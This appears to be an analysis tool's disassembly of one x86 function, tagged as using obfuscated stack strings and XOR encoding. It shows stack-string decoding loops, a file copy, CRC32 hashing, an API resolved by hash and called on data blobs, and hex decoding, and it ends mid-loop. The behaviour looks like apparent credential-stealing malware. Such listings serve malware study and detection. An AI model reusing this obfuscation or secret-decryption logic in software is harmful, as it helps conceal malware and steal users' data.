Function at 0x42b529
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
push dword [esp + 4]
call fcn.00429540
add esp, 4
test al, al
je 0x429c80
mov al, 1
ret
push ebp
push ebx
push edi
push esi
sub esp, 0xe0
mov dword [esp + 0xa0], 0x69186b2b
mov dword [esp + 0xa4], 0x6d1a6f1d
mov dword [esp + 0xa8], 0x711e730b
mov dword [esp + 0xac], 0x7526771c
mov dword [esp + 0xb0], 0x790e7b13
mov dword [esp + 0xb4], 0x7d7e7f10
mov word [esp + 0xb8], 0
mov byte [esp + 0xba], 0
mov eax, 0x31fa0d67
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx ecx, byte [esp + eax - 0x31fa0cc7]
xor ecx, eax
mov edx, ecx
and edx, 0x7c
xor ecx, 0xfc
lea ecx, [ecx + edx*2]
inc cl
mov byte [esp + eax - 0x31fa0cc7], cl
inc eax
cmp eax, 0x31fa0d82
jne 0x429cf0
mov dword [esp + 0x1c], 0x3d001dc
mov dword [esp + 0x20], 0x7c105c1
mov dword [esp + 0x24], 0xbd909c1
mov dword [esp + 0x28], 0xfdc0dd8
mov dword [esp + 0x2c], 0x13ce11c9
mov dword [esp + 0x30], 0x17d715d9
mov dword [esp + 0x34], 0x1bd219db
mov dword [esp + 0x38], 0x1fd01dd5
mov dword [esp + 0x3c], 0x23fe21e5
mov dword [esp + 0x40], 0x27e925f7
mov dword [esp + 0x44], 0x2bfe29ee
mov dword [esp + 0x48], 0x2fef2dfb
mov dword [esp + 0x4c], 0x33f731e2
mov dword [esp + 0x50], 0x37e035e8
mov dword [esp + 0x54], 0x3bd639d9
mov dword [esp + 0x58], 0x3fdb3dca
mov dword [esp + 0x5c], 0xc311c11c
mov dword [esp + 0x60], 0xc723c530
mov dword [esp + 0x64], 0xcb27c929
mov word [esp + 0x68], 0xcdcc
mov word [esp + 0x6e], 0
mov dword [esp + 0x6a], 0
xor eax, eax
xor ecx, ecx
nop
nop
nop
nop
nop
movzx edi, byte [esp + ecx + 0x1c]
mov edx, eax
and edx, 0x80
mov esi, ecx
xor esi, 0x312ea1c0
add esi, edx
mov edx, esi
and edx, edi
add edx, edx
add esi, edi
mov edi, edx
xor edi, esi
not edx
and edx, esi
add edx, edx
sub edx, edi
add dl, 0x40
mov byte [esp + ecx + 0x1c], dl
inc ecx
add eax, 2
cmp ecx, 0x54
jne case.default.0x429e29
lea eax, [esp + 0xa0]
lea ecx, [esp + 0x1c]
push eax
push ecx
call fcn.0043b350
add esp, 8
mov edi, eax
xor eax, eax
test edi, edi
sete al
jmp dword [eax*4 + 0x44a000]
mov ecx, edi
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, ecx
add ecx, 2
cmp word [eax], 0
jne 0x429e40
sub eax, edi
cmp eax, 0xffffffd9
jge 0x429e60
mov eax, 0xffffffff
jmp 0x429e63
xor eax, eax
jmp 0x42a943
add eax, 0x26
push eax
call fcn.004083e0
add esp, 4
mov dword [esp + 0x14], eax
mov dword [esp + 0x1c], 0xfe909e4
mov dword [esp + 0x20], 0x3f00dff
mov dword [esp + 0x24], 0x7ff01fa
mov dword [esp + 0x28], 0x1bf605ff
mov dword [esp + 0x2c], 0x1fed19ff
mov dword [esp + 0x30], 0x13e81dee
mov dword [esp + 0x34], 0x17ed11e9
mov dword [esp + 0x38], 0x2ba01526
mov dword [esp + 0x3c], 0x2fd429cc
mov dword [esp + 0x40], 0x2d2c
mov esi, 0x4ac327c2
mov ebp, 0xb53cd83d
nop
nop
nop
nop
nop
nop
movzx edx, byte [esp + esi - 0x4ac327a6]
mov ebx, edx
xor ebx, esi
or ebx, ebp
mov eax, ebx
shr al, 1
and al, 1
mov ecx, ebx
not cl
mov ah, cl
and ah, 0x7d
mul ah
add al, al
sub dl, al
test bl, 2
sete al
or cl, 2
mul cl
add al, al
sub dl, al
movzx eax, dl
add eax, esi
add al, 0x36
mov byte [esp + esi - 0x4ac327a6], al
inc esi
dec ebp
cmp esi, 0x4ac327ea
jne 0x429ed0
movzx ecx, word [edi]
mov ebx, dword [esp + 0x14]
mov eax, ebx
test cx, cx
je 0x429f41
mov edx, edi
add edx, 2
mov eax, ebx
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x429f30
mov word [eax], 0
movzx ecx, word [esp + 0x1c]
test cx, cx
je 0x429f71
lea edx, [esp + 0x1e]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x429f60
mov word [eax], 0
jmp dword [0x44a008]
push edi
call fcn.004083f0
add esp, 4
xor eax, eax
cmp word [ebx], 0x2a
sete al
jmp dword [eax*4 + 0x44a010]
xor eax, eax
cmp word [ebx], 0x2a
sete al
jmp dword [eax*4 + 0x44a010]
mov dword [esp + 0x1c], 0xf388f1b3
mov dword [esp + 0x20], 0xff5dfd58
mov dword [esp + 0x24], 0xfb4cf94f
mov dword [esp + 0x28], 0xc76fc56a
mov dword [esp + 0x2c], 0xc366c16f
mov dword [esp + 0x30], 0xcf79cd6f
mov dword [esp + 0x34], 0xcb64c97e
mov dword [esp + 0x38], 0xd779d57d
mov dword [esp + 0x3c], 0xd36cd1a6
mov dword [esp + 0x40], 0xdf70dd70
mov dword [esp + 0x44], 0xd9d8
mov byte [esp + 0x48], 0
mov eax, 0x54
mov ecx, 0x2b
nop
nop
nop
nop
mov esi, ecx
and esi, 0xb4
mov edx, eax
and edx, 0x4b
or edx, esi
xor dl, byte [esp + eax - 0x38]
xor dl, 0xb4
add dl, 0xdc
mov byte [esp + eax - 0x38], dl
inc eax
dec ecx
cmp eax, 0x81
jne case.default.0x42a063
push 0
lea eax, [esp + 0x20]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_CopyFileW]
push 0x60
push 3
push 0x120089
lea eax, [esp + 0xac]
push eax
push ebx
call fcn.00442370
add esp, 0x14
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x44a018]
xor esi, esi
xor ebp, ebp
jmp dword [0x44a078]
lea eax, [esp + 0x90]
push 0
push eax
push dword [esp + 0xa8]
call fcn.004426f0
add esp, 0xc
not eax
shr eax, 0x1f
xor ebp, ebp
xor esi, esi
jmp dword [eax*4 + 0x44a020]
mov esi, dword [esp + 0x90]
lea eax, [esi + 1]
push eax
call fcn.004083e0
add esp, 4
mov edi, eax
push 0
push esi
push eax
push dword [esp + 0xac]
call fcn.004427d0
add esp, 0x10
not eax
shr eax, 0x1f
xor ebp, ebp
xor esi, esi
jmp dword [eax*4 + 0x44a028]
mov esi, dword [esp + 0x90]
mov byte [edi + esi], 0
push 0x20
call fcn.004083e0
add esp, 4
mov dword [eax + 8], 0
mov dword [eax + 4], 0
mov dword [eax + 0x18], 0xffffffff
mov dword [eax + 0x14], 0
mov dword [eax + 0x10], 0
mov dword [eax], 0
mov dword [esp + 0x70], eax
mov ecx, eax
push esi
mov dword [esp + 0x7c], edi
push edi
call fcn.0042c750
movzx eax, al
xor ebp, ebp
xor esi, esi
jmp dword [eax*4 + 0x44a030]
mov dword [esp + 0x1c], 0x5380e29
mov dword [esp + 0x20], 0x32003019
mov dword [esp + 0x24], 0x153521c5
mov dword [esp + 0x28], 0x38db2c1e
mov dword [esp + 0x2c], 0x1e2d2818
mov dword [esp + 0x30], 0x2027c0d1
mov dword [esp + 0x34], 0x6d181015
mov word [esp + 0x38], 0xfb6d
mov dword [esp + 0x3a], 0
mov edx, 0x7e80afa5
nop
nop
movzx eax, byte [esp + edx - 0x7e80af89]
mov ebx, eax
mov esi, eax
and ebx, edx
mov eax, ebx
or al, 0xfd
inc al
mov ecx, ebx
and cl, 0xfd
mul cl
mov ecx, eax
mov eax, esi
add cl, al
mov eax, ebx
shr al, 1
and al, 1
or bl, 2
mul bl
add al, al
sub cl, al
movzx eax, cl
add eax, edx
add al, 0xc7
mov byte [esp + edx - 0x7e80af89], al
inc edx
cmp edx, 0x7e80afc7
jne 0x42a180
mov ecx, dword [esp + 0x70]
lea eax, [esp + 0x1c]
push eax
call fcn.0042c940
xor ecx, ecx
test eax, eax
setne cl
xor esi, esi
jmp dword [ecx*4 + 0x44a038]
add eax, 8
xor edi, edi
mov ecx, dword [eax]
xor eax, eax
test ecx, ecx
setne al
xor ebx, ebx
mov dword [esp + 8], 0
xor esi, esi
xor ebp, ebp
jmp dword [eax*4 + 0x44a050]
jmp dword [0x44a060]
mov edi, dword [esp + 0x78]
jmp dword [0x44a068]
mov ebx, dword [esp + 0x70]
mov ecx, ebx
call fcn.0042cab0
push ebx
call fcn.004083f0
add esp, 4
jmp dword [0x44a070]
mov esi, dword [esp]
mov eax, dword [esp + 0xc]
mov dword [esi + eax + 4], ecx
add ebp, 8
mov ecx, dword [esp + 4]
add ecx, 4
mov ecx, dword [ecx]
xor eax, eax
test ecx, ecx
setne al
mov edi, esi
mov ebx, ebp
jmp dword [eax*4 + 0x44a050]
mov eax, dword [ecx]
mov dword [esp + 0x18], eax
mov dword [esp + 4], ecx
mov ecx, ebx
sub ecx, edi
mov dword [esp + 0x10], ecx
sar ecx, 3
mov esi, dword [esp + 8]
cmp ebx, esi
je 0x42a298
mov edx, edi
not edx
mov ebp, ebx
mov dword [esp], edi
mov esi, dword [esp + 0x10]
jmp 0x42a33d
mov eax, esi
not eax
and eax, edi
mov ebp, ecx
mov ecx, edi
not ecx
mov dword [esp + 0xc], ecx
and ecx, esi
sub ecx, eax
sar ecx, 3
mov eax, ecx
shr eax, 1
mov edx, eax
and edx, ecx
xor eax, ecx
lea ecx, [eax + edx*2]
mov dword [esp + 0x74], ebp
lea eax, [ebp + 1]
cmp ecx, eax
ja 0x42a2c9
mov ecx, eax
mov dword [esp], ecx
lea eax, [ecx*8]
push eax
call fcn.004083e0
add esp, 4
mov ebp, eax
test edi, edi
je 0x42a31c
cmp edi, esi
je 0x42a313
xor eax, eax
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, dword [edi + eax]
mov dword [ebp + eax], ecx
mov ecx, dword [edi + eax + 4]
mov dword [ebp + eax + 4], ecx
mov dword [edi + eax], 0
lea ecx, [edi + eax]
add ecx, 8
add eax, 8
cmp ecx, esi
jne 0x42a2f0
push edi
call fcn.004083f0
add esp, 4
mov eax, dword [esp]
lea eax, [eax*8]
add eax, ebp
mov dword [esp + 8], eax
mov dword [esp], ebp
mov esi, dword [esp + 0x10]
add ebp, esi
mov edx, dword [esp + 0xc]
mov ecx, dword [esp + 0x74]
and edx, ebx
add edx, edx
mov eax, edi
xor eax, ebx
sub edx, eax
cmp edx, esi
mov dword [esp + 0xc], edx
jae 0x42a3c0
lea eax, [edi + ecx*8]
mov ecx, eax
xor ecx, ebx
not ebx
and ebx, eax
add ebx, ebx
sub ebx, ecx
mov eax, dword [esp]
mov ecx, edx
add edx, eax
add eax, ecx
add eax, 8
cmp ebx, 8
jle 0x42a380
push ebx
push edx
push eax
call fcn.004084f0
add esp, 0xc
mov edx, dword [esp + 0xc]
jmp 0x42a3c0
mov ecx, ebx
shr ecx, 2
mov esi, edx
mov edi, eax
xchg esi, esi
rep movsd dword es:[edi], dword [esi]
xchg esi, esi
mov esi, ebx
and esi, 0xfffffffc
add eax, esi
add esi, edx
mov ecx, ebx
shr ecx, 1
and ecx, 1
mov edx, esi
mov edi, eax
xchg esi, edx
rep movsw word es:[edi], word [esi]
xchg esi, edx
test bl, 1
mov edx, dword [esp + 0xc]
je 0x42a3c0
and ebx, 2
movzx ecx, byte [esi + ebx]
mov byte [eax + ebx], cl
nop
nop
nop
mov esi, dword [esp]
mov dword [esi + edx], 0
mov dword [esi + edx + 4], 0
xor ebx, ebx
mov edi, dword [esp + 0x18]
nop
nop
nop
nop
nop
nop
nop
nop
cmp byte [edi + ebx], 0
lea ebx, [ebx + 1]
jne 0x42a3e0
push ebx
call fcn.004083e0
add esp, 4
mov ecx, dword [esp + 0xc]
mov dword [esi + ecx], eax
mov ecx, ebx
shr ecx, 2
mov edx, edi
mov esi, edi
mov edi, eax
xchg esi, edx
rep movsd dword es:[edi], dword [esi]
xchg esi, edx
mov edx, ebx
and edx, 0xfffffffc
add esi, edx
add edx, eax
mov ecx, ebx
shr ecx, 1
and ecx, 1
mov eax, esi
mov edi, edx
xchg esi, eax
rep movsw word es:[edi], word [esi]
xchg esi, eax
mov eax, ebx
inc al
test al, 1
jne 0x42a442
mov eax, ebx
and eax, 2
movzx ecx, byte [esi + eax]
mov byte [edx + eax], cl
xor ecx, ecx
cmp ebx, 1
je 0x42a240
mov dword [esp + 0x10], ebp
mov ecx, 0xffffffff
mov eax, 1
mov edx, dword [esp + 0x18]
movzx edi, byte [edx + eax - 1]
xor edi, ecx
mov ecx, edi
shr ecx, 1
mov edx, edi
and edx, 1
neg edx
and edx, 0xedb88320
xor edx, ecx
mov esi, edx
shr esi, 1
mov ecx, edi
shl ecx, 0x1e
sar ecx, 0x1f
and ecx, 0xedb88320
xor ecx, esi
mov ebp, edi
shl ebp, 0x1d
sar ebp, 0x1f
and ebp, 0x76dc419
mov esi, edi
shl esi, 0x1c
sar esi, 0x1f
and esi, 0xedb8832
xor esi, ebp
mov ebp, edi
shl ebp, 0x1b
sar ebp, 0x1f
and ebp, 0x1db71064
shl edi, 0x1a
sar edi, 0x1f
and edi, 0x3b6e20c8
xor edi, ebp
xor edi, esi
mov esi, ecx
shr esi, 6
xor edi, esi
shl edx, 0x1a
sar edx, 0x1f
and edx, 0x76dc4190
xor edx, edi
shl ecx, 0x1a
sar ecx, 0x1f
and ecx, 0xedb88320
xor ecx, edx
inc eax
cmp ebx, eax
jne 0x42a450
not ecx
mov ebp, dword [esp + 0x10]
jmp 0x42a240
jmp dword [0x44a070]
push edi
call fcn.004083f0
add esp, 4
mov dword [esp], esi
mov eax, dword [esp + 0xa0]
mov dword [esp + 0x1c], 0xc0d0a0b
mov word [esp + 0x20], 0
mov ecx, 0x876a5882
mov edx, 0x7d
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx esi, byte [esp + ecx + 0x7895a79a]
mov edi, edx
xor edi, ecx
and edi, esi
xor edi, ecx
add edi, 0xdd1e7479
mov esi, edi
and esi, 0x7d
xor edi, 0xfd
lea ebx, [edi + esi*2]
mov byte [esp + ecx + 0x7895a79a], bl
inc ecx
dec edx
cmp ecx, 0x876a5888
jne 0x42a530
mov ecx, dword [0x44f26c]
test ecx, ecx
mov ebx, dword [esp + 0x14]
je 0x42a59c
mov edx, dword [esp + 0x1c]
xor esi, esi
mov edi, dword [0x44f270]
nop
cmp dword [edi + esi*8], 0x1b6183f2
je 0x42a590
inc esi
cmp ecx, esi
jne 0x42a580
jmp 0x42a59c
mov ecx, dword [edi + esi*8 + 4]
cmp ecx, edx
jne 0x42a94e
mov esi, dword [esp]
jmp dword [0x44a078]
jmp dword [0x44a084]
push ebx
call fcn.004083f0
add esp, 4
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
push ebx
call fcn.004083f0
add esp, 4
jmp dword [0x44a088]
xor eax, eax
cmp esi, ebp
sete al
jmp dword [eax*4 + 0x44a090]
mov dword [esp], esi
mov dword [esp + 0x1c], 0x6132675b
mov dword [esp + 0x20], 0x7d1f6311
mov dword [esp + 0x24], 0x790a7f1f
mov dword [esp + 0x28], 0x750a7b3b
mov dword [esp + 0x2c], 0x712a7704
mov dword [esp + 0x30], 0x8dfe7313
mov dword [esp + 0x34], 0x89b18fef
mov dword [esp + 0x38], 0x85e78bec
mov dword [esp + 0x3c], 0x81f98708
mov dword [esp + 0x40], 0x9df583e3
mov dword [esp + 0x44], 0x99ea9ff8
mov dword [esp + 0x48], 0x95e79be9
mov dword [esp + 0x4c], 0x91e297f7
mov dword [esp + 0x50], 0xad1c93a6
mov dword [esp + 0x54], 0xa9d0afd0
lea eax, [esp + 0x58]
mov word [esp + 0x58], 0xaba8
mov dword [esp + 0x5a], 0
mov word [esp + 0x5e], 0
mov esi, 0x3e780be9
mov edx, 0xc187f416
nop
nop
nop
nop
movzx ebx, byte [esp + esi - 0x3e780bcd]
mov ecx, esi
and ecx, ebx
add ecx, ecx
sub ecx, ebx
add ecx, edx
and ecx, esi
add cl, cl
sub bl, cl
movzx ecx, bl
add ecx, esi
add cl, 0x73
mov byte [esp + esi - 0x3e780bcd], cl
inc esi
dec edx
cmp esi, 0x3e780c2d
jne 0x42a680
lea edx, [esp + 0x1c]
lea ebx, [esp + 0xa0]
mov edi, ebx
mov ecx, 0xf
xchg esi, edx
rep movsd dword es:[edi], dword [esi]
xchg esi, edx
lea edi, [esp + 0xdc]
mov ecx, 1
xchg esi, eax
rep movsw word es:[edi], word [esi]
xchg esi, eax
lea esi, [esp + 0x9c]
push esi
push 0
push 0
push 0x1e
push ebx
push 0
call dword [0x44f268]
mov dword [esp + 0x1c], 0xe3222143
mov dword [esp + 0x20], 0
xor ecx, ecx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov edx, ecx
add dl, 8
xor dl, byte [esp + ecx + 0x1c]
add dl, 0xd8
mov byte [esp + ecx + 0x1c], dl
inc ecx
cmp ecx, 8
jne case.default.0x42a72f
xor ecx, ecx
cmp eax, dword [esp + 0x1c]
setne cl
jmp dword [ecx*4 + 0x44a098]
mov edi, dword [esp + 0x9c]
test edi, edi
jns 0x42a767
mov eax, 0xffffffff
jmp 0x42a76a
xor eax, eax
jmp 0x42a90b
mov ecx, dword [case.0x42a72f.4]
mov esi, dword [esp]
xor eax, eax
nop
nop
nop
nop
nop
nop
jmp ecx
jmp 0x42a90b
lea eax, [edi + edi]
push eax
call fcn.004083e0
add esp, 4
push esi
push edi
mov dword [esp + 0x1c], eax
push eax
push 0x1e
lea eax, [esp + 0xb0]
push eax
push 0
call dword [0x44f268]
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x44a0b0]
jmp dword [0x44a0c4]
xor eax, eax
mov esi, dword [esp]
jmp dword [0x44a0c8]
push dword [esp + 0x14]
call fcn.004083f0
add esp, 4
xor eax, eax
jmp 0x42a90b
mov eax, ebp
mov esi, dword [esp]
sub eax, esi
sar eax, 3
mov ecx, eax
and ecx, 0x421
mov edx, eax
or eax, 0x421
imul eax, ecx
xor ecx, 0x421
and edx, 0xfffffbde
imul edx, ecx
add eax, edx
push eax
call fcn.004083e0
add esp, 4
mov edi, eax
lea eax, [esp + 0x7c]
push 0x60
push 3
push 0x120089
push eax
push dword [esp + 0x24]
call fcn.00442370
add esp, 0x14
not eax
shr eax, 0x1f
mov dword [esp + 0x74], edi
jmp dword [eax*4 + 0x44a0d0]
xor ebx, ebx
mov dword [esp + 4], edi
jmp dword [0x44a1c8]
push dword [esp + 0x14]
call fcn.004083f0
add esp, 4
mov eax, ebx
and al, 1
movzx ecx, al
mov eax, ebx
jmp dword [ecx*4 + 0x44a1d0]
mov dword [esp], esi
mov eax, edi
mov edi, dword [esp + 4]
mov byte [edi], 0
mov esi, eax
not esi
and esi, edi
add esi, esi
mov dword [esp + 0x1c], 0xf5f6f7a7
mov dword [esp + 0x20], 0xd1c1fefb
mov dword [esp + 0x24], 0xd4c8cec7
mov dword [esp + 0x28], 0xcad6f689
mov dword [esp + 0x2c], 0xfd87c0f7
mov dword [esp + 0x30], 0xdbcdc6c1
mov dword [esp + 0x34], 0xc1c299c1
mov dword [esp + 0x38], 0x4bc4
xor edi, eax
mov ecx, 0x3abde099
mov edx, 0x66
nop
nop
movzx eax, byte [esp + ecx - 0x3abde07d]
mov ebx, eax
xor ebx, ecx
or ebx, edx
add bl, bl
add bl, al
movzx eax, bl
add eax, ecx
add al, 5
mov byte [esp + ecx - 0x3abde07d], al
inc ecx
dec edx
cmp ecx, 0x3abde0b9
jne 0x42a8b0
sub esi, edi
mov ecx, dword [esp + 0xf4]
push esi
mov edi, dword [esp + 0x78]
push edi
lea eax, [esp + 0x24]
push eax
call fcn.00409330
mov esi, dword [esp]
jmp dword [0x44a1d8]
push edi
mov edi, eax
call fcn.004083f0
mov eax, edi
add esp, 4
and al, 1
test esi, esi
je 0x42a943
cmp esi, ebp
je 0x42a943
mov ebx, eax
mov edi, esi
jmp 0x42a927
add esi, 8
cmp esi, ebp
je 0x42a938
mov eax, dword [esi]
test eax, eax
je 0x42a920
push eax
call fcn.004083f0
add esp, 4
jmp 0x42a920
push edi
call fcn.004083f0
add esp, 4
mov eax, ebx
add esp, 0xe0
pop esi
pop edi
pop ebx
pop ebp
ret
push eax
push 4
push ecx
push dword [0x44f274]
call fcn.0043fac0
add esp, 0x10
mov esi, dword [esp]
jmp dword [0x44a078]
lea eax, [esp + 0x98]
push 0
push eax
push dword [esp + 0x84]
call fcn.004426f0
add esp, 0xc
not eax
shr eax, 0x1f
mov dword [esp + 8], 0
mov dword [esp + 4], edi
jmp dword [eax*4 + 0x44a0d8]
mov esi, dword [esp + 0x98]
lea eax, [esi + 1]
push eax
call fcn.004083e0
add esp, 4
push 0
push esi
mov dword [esp + 0x94], eax
push eax
push dword [esp + 0x88]
call fcn.004427d0
add esp, 0x10
not eax
shr eax, 0x1f
xor edx, edx
mov dword [esp + 4], edi
jmp dword [eax*4 + 0x44a0e0]
mov esi, dword [esp + 0x98]
mov ebx, dword [esp + 0x8c]
mov byte [ebx + esi], 0
push 0x20
call fcn.004083e0
add esp, 4
mov dword [eax + 8], 0
mov dword [eax + 4], 0
mov dword [eax + 0x18], 0xffffffff
mov dword [eax + 0x14], 0
mov dword [eax + 0x10], 0
mov dword [eax], 0
mov dword [esp + 0x88], eax
mov ecx, eax
push esi
push ebx
call fcn.0042c750
movzx eax, al
xor edx, edx
mov dword [esp + 4], edi
jmp dword [eax*4 + 0x44a0e8]
mov dword [esp + 0x1c], 0x6d606a11
mov dword [esp + 0x20], 0x66687851
mov dword [esp + 0x24], 0x6d75792d
mov dword [esp + 0x28], 0x276c5a
mov dword [esp + 0x2c], 0x1a0d1060
mov dword [esp + 0x30], 0x1f1f6a59
mov dword [esp + 0x34], 0x1507181e
mov dword [esp + 0x38], 0x1d030065
mov dword [esp + 0x3c], 0xbb1f
mov byte [esp + 0x40], 0
movzx eax, byte [esp + edx + 0x1c]
lea ecx, [edx - 0x352eff51]
and ecx, eax
add eax, edx
add eax, 0xcad100af
add ecx, ecx
sub eax, ecx
add al, 0x95
mov byte [esp + edx + 0x1c], al
mov eax, edx
and eax, 1
xor edx, 1
lea edx, [edx + eax*2]
cmp edx, 0x25
jb case.default.0x42aad7
mov ecx, dword [esp + 0x88]
lea eax, [esp + 0x1c]
push eax
call fcn.0042c940
xor ecx, ecx
test eax, eax
setne cl
xor edx, edx
mov dword [esp + 4], edi
jmp dword [ecx*4 + 0x44a0f0]
jmp dword [0x44a100]
mov dword [esp + 0x10], ebp
add eax, 8
xor edx, edx
mov ecx, dword [eax]
xor eax, eax
test ecx, ecx
setne al
mov dword [esp + 4], edi
mov edi, ecx
jmp dword [eax*4 + 0x44a118]
mov eax, dword [case.0x42a063.51]
mov ebp, dword [esp + 0x10]
jmp eax
jmp dword [0x44a1a8]
mov edi, dword [esp + 0x88]
mov ecx, edi
mov esi, edx
call fcn.0042cab0
push edi
call fcn.004083f0
mov edx, esi
add esp, 4
mov eax, dword [case.0x42a063.103]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
jmp eax
mov dword [esp + 8], edx
jmp dword [0x44a1c0]
push dword [esp + 0x8c]
call fcn.004083f0
add esp, 4
mov eax, dword [esp + 0x7c]
mov dword [esp + 0x1c], 0xc0d0a0b
mov word [esp + 0x20], 0
mov ecx, 0x876a5882
mov edx, 0x7d
nop
nop
nop
nop
nop
nop
nop
nop
movzx esi, byte [esp + ecx + 0x7895a79a]
mov edi, edx
xor edi, ecx
and edi, esi
xor edi, ecx
add edi, 0xdd1e7479
mov esi, edi
and esi, 0x7d
xor edi, 0xfd
lea ebx, [edi + esi*2]
mov byte [esp + ecx + 0x7895a79a], bl
inc ecx
dec edx
cmp ecx, 0x876a5888
jne 0x42ab80
mov ecx, dword [0x44f26c]
test ecx, ecx
je 0x42af9b
mov edx, dword [esp + 0x1c]
xor esi, esi
mov edi, dword [0x44f270]
nop
cmp dword [edi + esi*8], 0x1b6183f2
je 0x42af93
inc esi
cmp ecx, esi
jne 0x42abd0
jmp 0x42af9b
add edi, 4
mov edi, dword [edi]
xor eax, eax
test edi, edi
setne al
jmp dword [eax*4 + 0x44a118]
mov esi, dword [edi]
cmp dword [edi + 0x18], 3
mov ebp, 0
jne case.default.0x42ac19
mov ebp, dword [edi + 0x10]
test esi, esi
setne al
test ebp, ebp
setne cl
and cl, al
movzx eax, cl
jmp dword [eax*4 + 0x44a130]
mov dword [esp + 0x18], esi
mov dword [esp + 0x78], edi
mov dword [esp + 8], edx
mov eax, ebp
nop
nop
mov edi, eax
inc eax
cmp byte [edi], 0
jne case.default.0x42ac58
sub edi, ebp
inc edi
shr edi, 1
lea eax, [edi + 1]
push eax
call fcn.004083e0
add esp, 4
movsx edx, byte [ebp]
xor ecx, ecx
test edx, edx
setne cl
mov dword [esp + 0x70], eax
jmp dword [ecx*4 + 0x44a138]
mov byte [eax], cl
inc eax
movsx edx, byte [esi]
xor ecx, ecx
test edx, edx
setne cl
mov ebp, esi
jmp dword [ecx*4 + 0x44a138]
mov ecx, edx
or ecx, 0x20
lea esi, [ecx - 0x61]
cmp esi, 5
ja case.default.0x42ac94
add ecx, 0xffffffa9
lea esi, [ebp + 1]
movsx edx, byte [ebp + 1]
xor ebx, ebx
test edx, edx
setne bl
jmp dword [ebx*4 + 0x44a140]
lea esi, [edx - 0x30]
mov ecx, edx
xor ecx, 0x30
and edx, 0xffffffcf
add edx, edx
sub edx, ecx
mov ecx, edx
cmp esi, 0xa
jb case.default.0x42acc9
mov ecx, 0xffffffff
lea esi, [ebp + 1]
movsx edx, byte [ebp + 1]
xor ebx, ebx
test edx, edx
setne bl
jmp dword [ebx*4 + 0x44a140]
shl ecx, 4
add ebp, 2
mov ebx, edx
or ebx, 0x20
lea esi, [ebx - 0x61]
cmp esi, 5
ja case.default.0x42acf6
add ebx, 0xffffffa9
or ebx, ecx
mov byte [eax], bl
inc eax
movsx edx, byte [ebp]
xor ecx, ecx
test edx, edx
setne cl
jmp dword [ecx*4 + 0x44a138]
lea esi, [edx - 0x30]
mov ebx, edx
xor ebx, 0x30
and edx, 0xffffffcf
add edx, edx
sub edx, ebx
cmp esi, 0xa
jb case.default.0x42ad29
mov edx, 0xffffffff
or edx, ecx
mov byte [eax], dl
inc eax
movsx edx, byte [ebp]
xor ecx, ecx
test edx, edx
setne cl
jmp dword [ecx*4 + 0x44a138]
mov byte [eax], 0
push 0
push 0x10
push 0
push dword [esp + 0x24]
call fcn.0042cb50
add esp, 0x10
mov dword [esp + 0x18], eax
mov dword [esp + 0xc], 0
mov ecx, dword [case.0x42aad7.33]
xor ebx, ebx
mov esi, dword [esp]
cmp esi, dword [esp + 0x10]
setne bl
jmp dword [ebx*4 + 0x44a148]
mov ebx, dword [esi + 4]
mov ebp, ebx
shr ebp, 0x1c
shl ebx, 4
or ebx, 1
xor ebp, edx
xor ebx, dword [esp + 0x18]
xor eax, eax
or ebx, ebp
sete al
jmp dword [eax*4 + 0x44a160]
mov ebp, 1
jmp case.0x42acc9.58
mov eax, dword [esi]
mov dword [esp + 0xc], eax
xor ebp, ebp
nop
nop
nop
nop
nop
nop
nop
nop
jmp ecx
jmp dword [ebp*4 + 0x44a178]
add esi, 8
xor ebx, ebx
cmp esi, dword [esp + 0x10]
setne bl
jmp dword [ebx*4 + 0x44a148]
mov eax, dword [case.0x42ad29.57]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
jmp eax
xor eax, eax
mov esi, dword [esp + 0xc]
test esi, esi
setne al
jmp dword [eax*4 + 0x44a180]
mov edx, dword [esp + 8]
mov edi, dword [esp + 0x78]
jmp dword [0x44a1a0]
mov dword [esp + 0x1c], edi
mov eax, dword [esp + 0x70]
mov dword [esp + 0x20], eax
mov eax, 0xffffffff
mov edi, dword [esp + 4]
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp byte [esi + eax + 1], 0
lea eax, [eax + 1]
jne case.default.0x42ae8b
mov dword [esp + 0x90], eax
mov dword [esp + 0x94], esi
mov dword [esp + 0x80], 0
mov dword [esp + 0x84], 0
push 0xe18a387a
push dword [0x44f278]
call fcn.00441930
add esp, 8
lea ecx, [esp + 0x80]
lea edx, [esp + 0x90]
push ecx
push 1
push 0
push 0
push edx
push 0
lea ecx, [esp + 0x34]
push ecx
call eax
xor ecx, ecx
test eax, eax
setne cl
mov edx, dword [esp + 8]
jmp dword [ecx*4 + 0x44a188]
movzx eax, byte [esi]
test al, al
je 0x42aea5
inc esi
mov byte [edi], al
inc edi
movzx eax, byte [esi]
inc esi
test al, al
jne 0x42ae9a
mov word [edi], 0x203a
mov eax, edi
add eax, 2
mov esi, dword [esp + 0x80]
test esi, esi
je 0x42aee5
mov ecx, dword [esp + 0x84]
mov edx, esi
and edx, 3
je 0x42aee9
xor edi, edi
movzx ebx, byte [ecx]
cmp bl, 1
sbb ecx, 0xffffffff
mov byte [eax + edi], bl
inc edi
cmp edx, edi
jne 0x42aeca
add eax, edi
mov edx, esi
sub edx, edi
mov edi, eax
jmp 0x42aeeb
mov edi, eax
jmp 0x42af29
mov edx, esi
cmp esi, 4
jb 0x42af29
movzx ebx, byte [ecx]
cmp bl, 1
sbb ecx, 0xffffffff
mov byte [eax], bl
movzx ebx, byte [ecx]
cmp bl, 1
sbb ecx, 0xffffffff
mov byte [eax + 1], bl
movzx ebx, byte [ecx]
cmp bl, 1
sbb ecx, 0xffffffff
